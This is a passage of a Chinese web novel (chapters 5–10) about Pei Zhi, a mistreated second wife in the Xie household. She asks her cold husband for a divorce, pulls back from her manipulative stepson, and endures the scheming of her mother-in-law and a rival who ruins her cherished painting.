恒哥儿没了昨儿的活力,恹恹靠在谢观南怀里,脸上还有不正常的红。看样子昨儿又跑又跳,到了秦氏那边估计又贪吃了,便又病了。
裴芷垂下眼帘:“如二爷所说,恒哥儿是交还给母亲教养了。”
谢观南蹙了蹙眉。
“你难不成还在记恨昨儿母亲罚了你跪祠堂?所以你故意挑了这个与我闹起来?”
他嗓音极冷,眸光若有形实质似刮过她的面上。
裴芷垂着眼帘,静静听着谢观南的斥责。
这些话谢观南不是第一次说,往日觉得刺耳,如今换了心境听了只余无尽的疲倦与麻木。
看来她是真的放下了。放下了便可以自由了。
恒哥儿突然哭了起来,伸着嫩白的小手朝着裴芷:“母亲抱抱,恒儿难受,肚肚疼……”
裴芷看了他一眼,缓缓将脸别了过去。
恒哥儿感受到她的冷淡,一愣后旋即大哭:“母亲,恒儿肚肚痛痛,抱抱,呜呜,恒儿不跑了,恒儿听话,母亲不要不理恒儿呜呜……”
谢观南听着怀中稚儿哭得凄惨,只觉得心烦意乱。他突然想起来时母亲秦氏与他说的话。
“那小裴氏是个心软的,她说不养恒哥儿只是与你赌气而已。她怎么放心得下恒哥儿?”
“我教你,你抱着恒哥儿去她面前哭闹一番,然后吓唬若是她今日不养恒哥儿,以后就不让她见孩子。她一准什么都答应了。”
谢观南虽觉得这个法子有点阴毒,但若是不用这个法子,让裴芷消气的办法只有他低声下气去道歉认错。
他怎么可能放下架子,与这种无知的深宅妇人赔礼认错?
万一今日认了错,她将来顺杆往上爬,处处辖制着他可怎么办?
恒哥儿的哭声越发大,哭得脸涨的通红,而往日将他捧得如珠如宝的裴芷却始终面色淡淡,不肯伸手抱他。
谢观南脸色渐渐难看。
“裴芷!你当真如此狠心?恒哥儿这般求你了,你竟然无动于衷。”
他顿了顿,口气越发森冷厌憎。
“若是早知道你是如此狠心肠的妇人,就算是你们裴家跪着求我,我也是决计不可能让你进门的。”
裴芷静静瞧着面前怒极的男人,心从未有此时这般平静。
她轻声开口:“二爷既然如此想我,又觉得我本不配谢府门楣,当不得谢府少夫人,当初就不该和我母亲一起苦苦劝我嫁进来。”
谢观南一愣,旋即他脸色变了变,语气森冷:“你什么意思?”
“我后悔了。”裴芷语气无波无澜:“二爷,看在这三年我无功劳也有苦劳的份上,和离吧。”
满屋俱静,针落可闻。
恒哥儿听懂了似的,竟收住了哭声。含泪的大眼愣愣瞧着裴芷。小小的孩童就算不知道发生了何事,但已能从大人的面上感知到大事发生了。
不但是大事,还是很坏的大事。
“砰”地一声,谢观南仓促站起身带倒了锦凳。
他直定定瞧着床踏上满脸病容的裴芷。
“你疯了?!”
口气是从未有过的森冷,带着一丝丝连他自己都没察觉的慌乱。
裴芷没吭声。
谢观南见她面色异常平静,缓了口气:“你要做什么?”
裴芷轻叹一口气,黑白分明的眼瞧着他,慢慢的,清晰地道。
“妾身自请下堂,请二爷赐我一纸休书吧。”
这回,总听得明白吧。
谢观南俊脸上神色变幻不定,像是听到了笑话又似听到不可置信的什么东西。
目光扫过她面前的药碗,再扫过她用了米粥和咸菜,还没来得及撤下的碗碟。
他吐出一口气,淡淡道:“原来是你病了,都开始说胡话了。”
他神色缓和:“既你病了,那就好生歇息。也不要胡思乱想了,我原意并不是责怪你,只是你今日突然与母亲说你不养恒儿,恒儿又闹肚子,说难受……”
他说了一番话后,发现裴芷一张素白小脸上没半点温情。
心中咯噔一声,一股异样似藤蔓缠绕上来。
心里麻麻的,软软的,说不清是什么感觉,总之有点堵。
往日也不是没这样闹过。通常都是母亲在他面前哭诉几句,他到了晚间怒气冲冲过来斥责她。
不过每次他训斥狠了惹得她伤心哭泣,他便说两句缓和场面的话,她就会收起泪水,含羞带怯地与他和好了。而后的日子她一定会越发细心对他。
可今天好像不一样,为什么她要用这种眼神瞧着自己?
为什么她听了自己的解释并不哭诉自己的委屈?
是哪儿出了错?
裴芷淡淡道:“二爷,我说的都是心里话。”
谢观南冷静下来,眸色冷若冰霜,身上丝丝寒气似乎都能弥漫开去。
终于,他冷冷笑了一声,头也不回大步离开。
第6章 人性本恶
裴芷看着谢观南衣袂飘飘,背影在夜风中消失,缓缓闭了闭眼。
背后冷汗涔涔,湿透了重衣。
天晓得她方才面对谢观南说出那一番话来用了多少勇气与心力。
不过最重要的话终于说出口,也不管谢观南信不信,她总算是迈出最难的那一步。但之后要怎么走心中却是有些茫然。
“母亲。”
恒哥儿被落下。他眼眶还蓄着泪,呆呆瞧着床榻上那总是温柔对自己的继母。
他只晓得刚才父亲与继母吵了架,具体是什么他不明白,应该是为了今日下午他做的错事。
不过,往日这些事也不是没有过。
父亲斥责继母,而继母时常唯唯诺诺应了,而后越发精细照顾他。很多时候她会双眼含泪,心酸又委屈瞧着自个。
每次那时候他心中都升起小小的愧疚,但谁叫这继母是个坏心肠的女人呢?
她仗着是娘亲的妹妹,竟然妄图让他忘了娘,还要替代过世娘亲的地位。
他决计不能忘了亲生娘亲的。
想着,恒哥儿嘴一瘪,嚎啕哭了起来:“肚肚痛,恒儿肚肚痛……”
边哭边伸手,要裴芷抱。
裴芷从失神中回过神来,下意识就要抱起恒哥儿。
突然,她瞧见恒哥儿胖乎乎小脸上那一抹得逞的笑。她心中一动,还没等抱住恒哥儿。
“啪”地一声,恒哥儿的小手狠狠扇在了她的手背上。
皓如霜雪的手腕上很快起了一块红印。
梅心急忙抱起恒哥儿,又气又急:“恒哥儿做什么?少夫人她今日因为你生病了……你怎么能打少夫人……”
终究是奴婢,不好斥责小主子。
恒哥儿没吭声,一双乌黑发亮的大眼盯着裴芷,想看她的反应。
往常这个时候,裴芷便会忍下疼痛,照旧亲切搂过他轻声安慰也不会斥责他打人。
然后他就会趁机提出一些要求,裴芷基本上都会满足他,就算是过分也能先答应下来。
可今日,裴芷定定瞧着手腕上的红印半天不吭声。
这巴掌本该打在她脸上的,只因为刚才稍一迟疑才打在手腕上。若是打在脸上,少不得红肿到了第二日。
这孩子……罢了。
心在这一刻越发冷了。
不得不承认人性是本恶的。她尽力教了,但耐不住恒哥儿身边一波波怀揣恶意下人成日唆使。
恒哥儿见她没反应又哇哇大哭起来,照旧伸手要她抱,又在梅心怀里七扭八扭的就要掉在地上。
裴芷突然道:“我病了不能将病气过给恒哥儿。梅心你与乳母一起将恒哥儿带到北正院去。”
梅心应了,抱着恒哥儿转身出去找了乳母。
恒哥儿懵了,趴在梅心的肩上呆呆看着床上恹恹闭眼的裴芷。
不对,母亲怎么不带着他睡了?
他不要去北正院,那边被子一股子刺鼻的檀香味,不松也不软一点都不如在母亲身边舒服……
孩子的哭嚎渐渐远去。
清心苑恢复了宁静,窗外潮寒的湿意一阵阵袭来,整个屋子又冰冷如冰窟似的。
被这一闹裴芷没了睡意,让兰心去研磨。兰心见她气色不好也不敢多劝。
笔墨准备好,对着空白的宣纸裴芷却又出神了。
要写的东西许多,临到提笔竟是千万思绪都堵在了胸中,一如这些年受的大小委屈淤积起来,到了溃堤那一刻,泥沙俱下,竟不知道从哪儿捡来说起。
第二日,裴芷起床时天已大亮。
昨夜恒哥儿不在,难得睡一场整觉。若是平时恒哥儿病了,整个清心苑人仰马翻,她亦得衣不解带守着。
烧退了精气神恢复许多。往日雪白的脸颊上多了两片淡淡的红晕,铜镜一照多了几分神采。
墨发如丝缎,随意披在肩头,如瀑似的垂在胸前。
铜镜中的人眉似远山青黛,眼是带着妩媚,略显飞扬的丹凤眼。里面眼瞳似黑宝石似的明亮,又似寒潭般清冷明净。妃色的菱唇,下颌尖而小巧,更美的是鼻似悬胆,妩媚柔弱中自有一股婉约气质。
她这般年轻,也不过十七八罢了。
北正院的人来传话让她过去伺候婆母秦氏用早膳,裴芷想了想,让人回了说稍后自去。传话的人见她不紧不慢梳妆,一时被她容光所摄,竟不敢阴阳怪气催促。
梅心不安:“万一二夫人拿少夫人过去教训立规矩可怎么办?”
昨儿在祠堂跪了两个时辰,以二夫人秦氏的脾气,后头还得无数招等着磋磨她。
梅心想了想,出主意:“要不少夫人前去时恳切解释昨儿的事是一场误会,少夫人并没有推恒哥儿。更没有不想教养恒哥儿,都是因为昨儿病了……”
裴芷淡淡止住梅心的话:“不必了。”
从前遇到此类事,她也曾挖空心思解释过,甚至找出证据力证自己没那等恶毒心思。但没人信。
谢观南不信,婆母秦氏更不信。
昨日那一推让她算是看明白了这些年痛苦的根源。谁叫她的身份一开始就带了原罪。
提出合离那一刻,她无比轻松。
谢观南心中怎么想她再也不用顾忌,婆母秦氏要怎么磋磨她,也不用放在心上了。反正都决定离开了。
她要的是自由轻松,再也不要余生都活在这樊笼里,一日日熬干心血和血泪。
裴芷到了北正院的时候,院中人来人往,也不知是什么日子,谢府本房与三房四房的人都来了。
院中与廊下都站着不少体面的管事嬷嬷与得脸的丫鬟们。
裴芷走了过去,有的装作没瞧见她,有的不冷不热打了个招呼便各自说话,都当瞧不见她。裴芷早就习惯了谢府人的轻视,静静与梅心在廊下垂手等待。
樊嬷嬷见她来了,呸地吐了一口老痰,才进去禀报。
心里冷哼:昨儿说得那么硬气,今日还不是得过来立规矩。
裴芷立了一会儿便瞧见一身华贵锦锻,珠翠满头的谢观云走进院中。
谢观云年方十三,今日着一件颜色极鲜亮的鹅黄色绣
她瞧见裴芷立在廊下,往日她是不屑去与她打招呼说话的,但今日她直朝着裴芷走来。
“听说你昨儿推了恒哥儿,还气哭了母亲。”
第7章 为何又不娶了
谢观云劈头就是质问。
裴芷不紧不慢抬头看去。
谢观云与谢观南是一母兄妹,两人长得有五分像,说话的神态与训人的气势咋一眼看去更是像了七八分。
好似谢观南亲自来训斥自己,连口气都一模一样。
谢观云见裴芷不吭声,呵呵冷笑:“你是不是觉得养育恒哥儿很有功劳,便能张狂起来?若是你这么想就大错特错了。你不得我哥喜欢,母亲也不喜欢你,你在他们心中地位越不过你那过世的大姐的。”
“我要是你就该收起那不切实际的奢望,乖乖养育好恒哥儿,想办法讨我哥喜欢才是正经。”
她见裴芷眼观鼻,鼻观心,看也不看自己一眼。
语调忍不住拔高了点:“不过你若是讨好我,我倒是可以教你几招怎么讨好我母亲与我哥,我要……”
“小姑不必费心了。”
裴芷抬起黑白分明的眼,眼神冷淡看着谢观云。
“我再笨拙,也无需一介未出嫁的闺秀来插手我房内之事。小姑年近及笄,还是多学学别的有用的东西吧。”
谢观云后面诸多话突然被噎在喉中,雪白的脸涨得通红。
她怒道:“小裴氏你不知好歹!我这是在点拨你,你居然不领情?”
她想到了什么,转为幸灾乐祸:“我真是蠢,与你说这些做什么?总之你越作越闹,死的越快。你不知道吧?我哥心中一直喜欢的是与他青梅竹马的白家小姐白玉桐。”
“昨儿玉桐姐姐过来了。要知道我哥从不应酬女客,却破天荒陪了她一下午。今日还相约去寒门寺上香。看来我哥心中一直忘不掉她,要不是从前阴差阳错我哥是定要娶玉桐姐姐的……”
裴芷淡淡打断她:“哦?那如何不娶了?是嫌白家犯了错被贬去了锦州,所以配不上谢家门楣,还是别的缘故?不然两人既然如此情深义重,何必阴差阳错那么多年呢?”
谢观云被噎住:“你,你……”
她“你”了好一会儿不知道该怎么辩驳。
裴芷继续淡淡道:“小姑方才说自己蠢,的确是犯蠢了。白家小姐若是知道了你如此背后编排她,她会感激你吗?”
“你!”
谢观云的脸色一阵青一阵白。她倒不是被怼得哑口无言,而是震惊从前低眉顺眼的小裴氏竟然有胆量敢反击。
她不该是低眉顺眼受着吗?
谢观云心中咬牙切齿,压低声音:“你就张狂,且看能张狂几日。”
她愤而拂袖进了屋子。
裴芷继续站着,眉间多了一层淡淡的厌倦。
梅心小心翼翼瞧着裴芷的神色:“三小姐这么生气,一定进去与二夫人说嘴了。这可怎么办才好?”
裴芷摇头:“无妨。”
谢观云不喜她,自从她嫁进来后不少受她夹枪带棒的讥讽。从前只觉得她年纪小不懂事,处处忍让。而如今看来,十三岁不小了却又如此行事,那便是从根子上就坏了。
就算谢观云一改常态去说她好话,婆母秦氏对她的磋磨也不会少一分。
人的偏见如泰山,搬不动,移不开。除非它自己消融。可她再也没有那份心气等他们幡然醒悟了。
裴芷在院中足足等够了一个时辰,里面才有丫鬟传话让她进去。
进了屋子,里面端坐着许多锦衣华服的妇人们正在喝茶热聊。
谢府分为嫡系与旁支。
谢府大房是继承谢氏一族几百年庞大产业的一脉。谢府旁支便是二房、三房、四房。这一支与嫡系大房那一支是堂亲关系,血缘关系近,但不能继承祖产。
不过谢氏一族也同别的世家大族一样,不会让这最近血缘的旁支随意流出京城,而是让其在旁侧建府居住。面上是几房合做一家,实则是用小部分祖产养着这几房,维系一家子繁荣表面模样。
而这几房则由谢氏二房统筹主持,二夫人秦氏便是旁支的内宅主母。其余两房时不时也过来走动,或禀报府中用度,或是寒暄维系感情。
裴芷走了进来,向婆母秦氏福身行礼。
秦氏见她来了,问:“听说你病了?”
裴芷点了点头:“让婆母关心了,儿媳昨儿喝了药今日好了大半。”
秦氏稍显意外,还以为她会拿住生病的事朝着自己卖惨哭诉,然后免去了去佛堂抄经祈福的苦差事。没想到她竟说自己好了。
她微微蹙眉:“既然好了大半,为何不带恒哥儿?昨儿你说的那番话是什么意思?”
此话一出,满登登的屋子瞬间静了静。
无数双眼睛齐齐看向站在堂中的裴芷,有幸灾乐祸,有鄙夷、有暗藏取笑,多数的是看好戏。
裴芷淡淡道:“回婆母的话,恒哥儿如今已六岁了,是时候要启蒙了。再者恒哥儿大了,身体康健,交由婆母膝下教养也无碍了。”
秦氏再次愣住。
她又一次想错了。
她以为裴芷会拿着恒哥儿的去留与自己唇枪舌剑一番,说出一些怨怼的话来。只要她说出口,自己便能坐实她不孝不义的罪过。
没想到裴芷提出恒哥儿该“启蒙”的事,实在是让她措手不及。
“启蒙,也不急。”秦氏沉吟,“恒哥儿还小……”
裴芷:“不小了。听说夫君四岁启蒙,五岁便能识好些字了。恒哥儿已经六岁了。”
秦氏:“……”
谢观南从小聪慧,四岁启蒙,五岁识字,这些话是她闲聊时时常拿出来夸赞的。总不能在这个时候说恒哥儿不如他爹吧。
座下两房夫人,三夫人钱氏与四夫人李氏对视一眼,惊异今日裴芷的口才。
平日里她沉默寡言,脾性极软,不论秦氏怎么明里暗里讽刺,或是拿了一些难事去故意磋磨她,她都一一受着,从不曾当众驳了秦氏的面子。
她们也习惯了裴芷任人搓圆搓扁的样子。
今日倒是新奇。
谢观云轻咳一声,软软对秦氏道:“母亲,你听听,小裴氏都这么说了。看来您就算是身子不好也得接下恒哥儿这重任了。”
秦氏听了,叹气:“罢了,终究不是亲生母亲,的确没那么个心思养恒哥儿。”
她咳嗽两声,捂着心口:“我可怜的恒哥儿啊,早早就失去了母亲,如今又没人照顾,只能靠我这么一个半截身子入土的老婆子……”
第8章 白玉桐
裴芷清清冷冷站着,听着婆母阴阳怪气的话。
秦氏次次都拿了恒哥儿生母早逝来拿捏她。以前她听得第一句眼眶就红了,全听下来已上前跪下请罪。
因为恒哥儿是她亲姐留在这世上唯一的儿子。秦氏拿了死去的裴若来教训她,她何尝不是心如刀绞?
如今她清醒了,再听婆母秦氏与谢观云如此说便只剩下淡淡的悲凉与荒谬。
她与亲姐裴若两姐妹曾被京城人封为京城双姝,才貌双绝。竟然双双陷入谢府中,熬死一个,熬干一个。
姐姐裴若还能说是为与谢观南的夫妻之情,而她呢?
三年全心全意,呕心沥血,竟是为了一屋子算计她,轻视她,拿捏她的人吗?
秦氏与谢观云一唱一和说了半日,却见裴芷仿佛木头人似的,站着一动不动。
顿时火从心头冒了上来,秦氏垂下眼,掩了眼底的怒意:“罢了!你终究是恒哥儿的后母,实在不能指望。你今日过后便去佛堂祈福七日吧。”
裴芷应下来,又福了福便告辞走了。
出了北正院,裴芷遇到了刚回府的谢观南。
谢观南正与一位身着华服的妙龄少女走在一起。他一身天水青长衫,头簪了一只墨玉长簪。
他们款款走来,越过垂花拱门时一枝早春海棠随风垂下。谢观南体贴为少女拨开。男子身材修长俊逸,似乎将将好将那妙龄少女在怀中。
裴芷目光落在他挡海棠枝的手指上。
白净修长的手指衬着花色,雅致又好看。与少女脸上羞红的红晕相映,郎才女貌,宛若一幅绝好的画。
两人走近了些,裴芷看清了少女的模样。
大约十六七岁,鹅蛋脸,五官秀美。
她头戴八宝镶琉璃长金簪。鬓边是一支缀了细细宝石的流苏。项间戴了如意云形金项圈。让人不可忽视的是少女身上的薄袄,用的是市面上一尺一金的缂丝锦缎。
少女浑身气质优雅灵动,光看脸不见得是顶美的佳人,但少女看人的时候眼梢微红,眸中脉脉含情,能让男人心生怜惜。
她与谢观南边说边笑着走来。突然少女瞧见了廊下站着的裴芷,脚步顿了顿。
谢观南转头瞧见裴芷,微怔之后俊雅的面上微微一沉。方才还笑若春风,此时已是满脸寒霜。
他并不愿在这时见到她。
裴芷上前福身见礼。
谢观南冷冷扫了她一眼,并不说话。妙龄少女水润的眸子瞧瞧他,又瞧瞧裴芷。
她突然握住裴芷的手,笑道:“原来你便是观南哥哥的续弦夫人,昨儿想见你,却不料姐姐说身子不适。今日看姐姐倒不是身子不适的样子。”
“哦,我姓白,闺名玉桐。”
原来便是人人口中那白家小姐。
裴芷与她寒暄两句便准备告辞回清心苑。
突然,谢观南冷声问:“今儿去与母亲请罪了没?”
裴芷看了他一眼:“妾身不知自己有何罪过?”
谢观南眸色沉冷,怒意染上了眉间,一眨不眨瞧着裴芷。
白玉桐突然道:“观南哥哥你不要这么凶嘛。小裴氏这般美人与你做续弦夫人,你该满意了。”
她口口声声续弦夫人似乎在提醒着什么,听得裴芷眉心皱起。
果然,谢观南带了几分厌憎,冷声道:“是的,你终究不是恒哥儿的生母,不是真心待他。自然不愿意养他。”
裴芷目光落在廊下被雨淋湿的一株兰草。
旁边杂草茂盛,独独那一株在砂石中扎根而生,无人打理,自然也无人疼惜。
谢观南待她一直是如此。将她娶进门来后从不护着,族中亲戚长辈面前如此,在外人面前亦是如此。
她的颜面也不是第一次被他亲手撕下,只是今日在白玉桐面前被他如此苛责,终究刺到了最深的隐痛。
心很难受,却无法诉之于口。
白玉桐笑眯眯道:“观南哥哥,你不是说领我去你住的清心苑瞧瞧吗?快些带我去。”
说着,她自然而然牵起他的手,越过裴芷往前走了。
谢观南看向裴芷。却见裴芷目光并不在他身上,而是望向虚空的远处。
来不及多想,人已先她离开了。
等他们两人身影远离,被气得满脸通红的梅心声音都在发抖。
“少夫人瞧见没?那白家小姐竟然不知耻与二爷拉拉扯扯的,成何体统?这不是当众打少夫人的脸吗?”
裴芷抿了抿苍白的唇,摇了摇头:“无妨。”
同是女人,她看得出白玉桐初见时隐藏很深的妒意。当她的面拉扯谢观南的手,是隐晦的挑衅与炫耀。
但这些都不重要,是谢观南对白玉桐的纵容令她难堪。而这份纵容是她从前努力了许久都没得到过的。
回到了清心苑中,还没进就听得白玉桐银铃般的笑声。谢观南嗓音柔,和与她说着话,全然不似平日严肃的样子。
裴芷靠在门边听了好一会儿,神色茫然。
进还是不进?
白玉桐瞧见大门边一角黛色裙角,道:“观南哥哥,你这位续弦夫人是不是在怪我不请自来?”
她叹气:“我知道我本不该来的,但心中实在是放心不下观南哥哥,所以厚着脸皮贸然来了。但观南哥哥的续弦夫人也许是误会了什么,你瞧她都不愿意进来。”
谢观南看去,门边一抹模糊黛影纤瘦伶仃,看得出迟迟不愿进来。
他移开目光,冷然不语。
裴芷在门边听了这话,心中叹了口气,缓缓走了进来。
不请自来也是客。裴芷让丫鬟上茶上点心。白玉桐似对清心苑哪儿都好奇,说个没完。
谢观南陪在一旁。
他平日话少,但白玉桐有问,他便有答。裴芷在旁边陪着倒像极了才是生份的客人。渐渐地,她便只专注喝茶,并没有朝他们瞧去。
“玉桐与你说话呢。”
前方突然传来冷肃的嗓音,裴芷手微微一顿,放下早就凉透的茶水。
谢观南拧紧眉心,冷冷瞧着她:“你便是这般待客的吗?问你话,却故意走神不听。”
裴芷看向白玉桐,温声问是什么事。
白玉桐指着案上一幅寒梅图,笑道:“观南哥哥说这幅图是你恩师南山狂客画的。我好喜欢,想拿下来瞧瞧行吗?”
第9章 不需要他为她好
裴芷看了一眼,点了点头让下人取来画。
白玉桐看着画,满口夸赞。
谢观南神色稍稍缓和。这一幅寒梅图便是裴芷的陪嫁之一。裴家是书香世家,裴父出事之前,与许多有名的文人交往甚多。
裴氏两姐妹也因这便利拜了不少名人为师。其中南山狂客便是裴氏姐妹丹青方面的恩师。
裴芷爱梅,也画得一手好丹青,比她亲姐裴若更有才华。
想到此处,谢观南眸光不由转到裴芷身上。恍然发现,许久不见她有那等闲情逸致在书案前写字画画了。
突然白玉桐“哎”的一声,杯盏落地,寒梅图被尽数泼上了茶水。
千金难买的名画被毁了。
“玉桐,你可有事?”
谢观南一把将白玉桐揽了过来,蹙眉握住她被烫伤的手指。白嫩的指尖泛出粉色,应该是被茶水烫到了。
他冷眼看向裴芷,眼神锐利如寒刀:“你做什么泼了玉桐!”
白玉桐眼眸水光点点,靠在谢灌南怀中:“都怪我没拿稳茶水,毁了小裴姐姐心爱的画。裴姐姐,你不会怪我吧?”
她泪水涟涟朝着裴芷方向瞧了过来。
裴芷抬头看去,那一双似水明眸中竟是与恒哥儿一模一样的笑意。
得逞的笑容中藏着隐秘的恶毒。明明是那么俊俏的一位妙龄少女,看着像是披着人皮的恶鬼。
谢观南听不得白玉桐如此委屈,对她道:“不关你的事。一幅画而已。”
说着,他出去唤下人去拿伤药,请大夫。
屋中只剩下两人,裴芷捏着画,半天才问出口:“为什么?”
白玉桐收了面上的委屈,微微一笑:“还能为什么呢?左右是见不得观南哥哥再娶新妇。你可知,你和你早死的姐姐占的这份姻缘原本是我的。”
她头上八宝琉璃金长簪泛着光,笑容细碎刺眼:“今日你可见着了,观南哥哥心中还是有我的。我伤到一点他便心疼得不知如何是好。”
“他这般珍重待你过吗?”
白玉桐走了。
临走之前几次解释不是裴芷泼了她,都怪她拿的茶不稳当才毁了画,改日她定会亲自过来赔罪云云。
她说得可怜又委屈,泪水盈盈好似受了天大的委屈。
谢观南瞥了一眼裴芷,见她木头似的没吭声,冷哼一声随她走了。
一切都安静下来。
“他,可曾这般珍重待过你吗?”
那一声问话徘徊在耳边,比三月寒雨夜的风还阴冷。
裴芷看着桌面上水渍纵横交错的画,捏着帕子,难受得一个字都不想说。
这是她恩师为她成亲时特地千里送来贺她新婚的贺礼。平日她爱惜如珍宝,隔日就得拿掸子亲自拂去灰尘。
谢观南也曾称赞过这幅画意境深远。因为这,她越发珍惜。
现如今画被毁了,只觉得心底那一层眷恋又被生生撕扯掉一层。
谢观南送完白玉桐后又回来了。
他并没有进屋,而是站在房门边冷冷瞧着屋里的裴芷。
天色已暗,屋里点了烛火。烛火摇曳将他俊美的容颜照得深深浅浅的,看不清本来面目。
屋里因他的到来,似乎更冷了。
“你这般小人作态,实在是叫我失望。明日你去带着令师的另一副孤江钓图去给玉桐赔罪。”他面无表情,“今日玉桐不与你计较,是她大度。”
裴芷瞧着他:“为什么?”
谢观南蹙眉:“什么为什么?玉桐喜欢南山狂客的画,你正好有几幅,作为赔罪礼正好。”
“我这是为了你好。”
裴芷蜷了蜷手指,捏紧手中的帕子:“妾身不需要二爷为我好。”
谢观南怔忪:“你说什么?”
裴芷别过头,慢慢擦拭画上再也擦不掉的茶渍,淡淡道:“妾身不会拿恩师的画给白小姐赔罪的。”
谢观南眼底涌起失望:“裴芷,你……”
“你就不能学学你过世的姐姐,知书达理,宽容大度吗?”
“不能。”裴芷没看他,一下一下轻轻擦拭寒梅图,“叫二爷失望了,妾身不是姐姐,学不来姐姐那般忍辱负重。妾身也不是白家小姐,更学不会她那般做派。”
可惜了,这画有了脏污就算再修补也不是原先那幅画了。
她终于放弃擦拭寒梅图,抬起黑白分明的眼,轻声道。
“二爷,昨儿的提议请二爷想一想,尽早写下和离书给妾身。妾身就感激不尽了。”
谢观南脸色阴沉如乌云密布。
好半晌,他冷笑:“小裴氏,你当真要和离?”
裴芷点了点头:“是。妾身心意已决。如今恒哥儿长大了,白家小姐又回京了,二爷将来前程远大,不需要妾身拖累……”
“哗啦”一声巨响,桌上的茶盏被谢观南狠狠拂袖摔在地上。
外间候着的丫鬟们听到声响急忙冲了进来。可撞见谢观南的脸色,一个个吓得脸色发白,赶紧打了帘子又退了出去。
谢观南胸膛起伏不定,半天才冷笑:“好好好!你就是这般与我闹的。昨儿恒哥儿撞了你,你就拿合离来威胁我。”
“今日玉桐毁了你恩师的画,我只不过说几句重话你又提和离。你越发不可理喻了。……”
裴芷轻哂。
看吧,谢观南并不是不知道是她受了委屈,他比所有人都清楚。只是这份公道他不肯给罢了。
曾经她做梦都希望他能睁眼看看她的眼泪,她的凄苦。可他好像瞎了聋了,一味叫她端庄大度,一味叫她做得更妥帖。
他叫她要向过世的姐姐学,要向他母亲学,要向他熟知的世家大妇们学。
她总有学不完的榜样,总有不足之处。
他顾全了所有人,唯独不顾她心里苦不苦,累不累。
谢观南说了两句,见她沉默不语,心中那点异样渐渐越发大了。仿佛有什么本来应该是他的东西,不受控制了。
他冷声发话:“你不愿拿画做赔礼就算了。改日你去与玉桐道个歉便是。”
像是怕她又开口拒绝,谢观南转身大步离开,再也不回头听她说话。
梅心等谢观南走了,才让人进屋收拾一地狼藉。
她见案几上的残画,十分心疼:“这画怎么办呢?这可是少夫人您最喜欢的画。”
裴芷:“收起来吧。改日拿出去让裱画铺的画匠看看有没有办法修一下。”
她顿了顿,轻声叹了口气:“若是没办法修复,便罢了。”
第10章 恒哥儿生病
此时,北正院的丫鬟来了:“夫人吃的益气丸快用完了,夫人让少夫人再去准备一匣。”
裴芷并没有如从前那般应承下来,而是让梅心拿了丹丸方子,道:“我大概要去佛堂抄经祈福了。这药丸方子交由夫人,让夫人指管家去药房配更方便些。”
丫鬟不明所以,拿了方子回去复名去了。
梅心等她走了,松了一大口气:“早就该把这差使给推回去了。这方子的药材极难配,要不是济世堂的掌柜看在少夫人的面子上,好几味药都不可能拿到手。”
“夫人每次差遣少夫人只一句话,却不知会让人多为难。这下也该让某些人尝一尝配药的艰难。”
裴芷看了看天色,让梅心上了晚膳。
用过晚膳,在院中散了散消消食,便让梅心把自己的东西搬到偏房去。
梅心吃惊:“少夫人要与二爷分开住了?”
裴芷看了她一眼。梅心不敢再猜,让人收拾了她的东西往偏房去。
平日谢观南甚少回清心苑住,要么是忙,要么嫌清心苑清冷,不够有人气。他时常住的是东院的大书房。
而裴芷一个人平日住主屋也觉得大得冷清,再者刚进府的时候要照顾病弱的恒哥儿。小孩子病的时候格外吵闹,谢观南只是每日来看一眼,夜里照旧是去大书房睡觉的。
于是裴芷便让人收拾了两间偏房出来,布置一番,成了她日常常住的寝居。只有谢观南回清心苑睡时她才进主屋住一晚。
如今要筹划分开,她在主屋的东西自然是不愿再放着。
收拾一番后,西边的偏房东西便满了一些。
裴芷看了眼底有了暖意。
她自小就喜欢屋子里东西多一些,空荡荡的总觉得心里不踏实。后来长大才知道是因为从小母亲偏疼姐姐,没怎么陪伴她的缘故。
不像姐姐,母亲是一直陪睡到了十岁才放手的。
正与梅心归置着房中东西,北正院派人来了。
“少夫人,小少爷吐得厉害还哭闹不止,夫人已经让人请张大夫了。也让少夫人先去看一眼。”
裴芷眸色微凝:“吐得很厉害吗?”
传话的人许是不知道情况,只催促裴芷赶紧去看一眼。
见裴芷坐在罗汉床上没起身的意思,来人急了:“少夫人不要耽搁了,若是小少爷出了事,少夫人也会难辞其咎的。”
那人说完就知道自己说错话了,喏喏站在一旁。
梅心啐了一口:“什么叫做少夫人也难辞其咎?这两日少夫人可没有沾手碰小少爷。不能什么罪过都往少夫人头上扣。”
“你们这帮人是柿子捡软的捏不成?眼里还有少夫人吗?”
她还要再说,裴芷抬手:“别说了。”
来人委屈:“少夫人赶紧去看看吧。听说小少爷一直哭着喊着要少夫人。旁人要抱,都被打了出去。”
裴芷不语。
她是最知道恒哥儿闹起来是什么样的。小孩子身子难受又说不出哪儿难受,于是手脚乱踢乱蹬,平常人不好近他的身。
裴芷让梅心拿来一盒药膏。药膏盒子很普通,玉石做的方形盒子,里面是一团翠绿的油脂似的膏体。
还没打开盒子便散发出浓浓的药香。
她对传话的人道:“这药膏涂在恒哥儿的肚脐眼上,掌心搓热按摩小半个时辰应该能缓解。”
传话的人见她似乎不愿去,只急得满头是汗。只能一个劲为刚才失言道歉。
裴芷摇头:“张大夫是治孩童的圣手,既然都请了他来肯定药到病除。我去不去也是一样。”
来人脱口而出:“哪会一样?平日里小少爷生病都得靠少夫人照顾,旁的人来不说越照顾越糟糕,也是拿小少爷没办法的。”
梅心拿了这话讥讽道:“合该你们心里也知道少夫人才能照顾好小少爷啊?我倒以为从前你们眼都是瞎的呢。”
来人满脸惭愧,不知该说什么。
裴芷叹气:“快些去吧。在这里说这么多话,恒哥儿多遭一刻的罪。”
来人不敢耽搁,赶紧拿了药膏去北正院。
北正院灯火通明,一团乱七八糟。
正屋里传来小孩子的哭嚎声,还有秦氏与乳母的哄劝。但每次都没效果,哄完小孩子哭得更大声,还有剧烈的呕吐声。
几次下来,孩子哭声渐渐虚弱。
秦氏由丫鬟扶着头晕目眩出了寝屋,坐在了外屋的罗汉床上。
“人还没来吗?”她劈头就问丫鬟,“没瞧见恒哥儿病得这么凶,竟然是看都不来看一眼吗?”
“来了来了。”樊嬷嬷领着传话的人进来。
秦氏眼睛亮了亮,等听清传话的说裴芷不来了,只让人拿了药膏来。
她气得胸口一阵剧烈起伏:“什,什么?她竟然敢不来?”
又看见那药膏,气得不顾体面,怒道:“这个小裴氏果然装都不装了。早知道她不乐意照顾恒哥儿,当初就不该让我儿娶了她当续弦。”
“都说后母心都是黑的,果然是真的。”
正骂着,寝屋里恒哥儿又吐了。
这一次吐的已经没有半粒米,而是淡淡的粉红。
秦氏脸色一白,六神无主:“怎么办?怎么办?恒哥儿再吐下去要吐血的!我苦命的孙儿啊……”
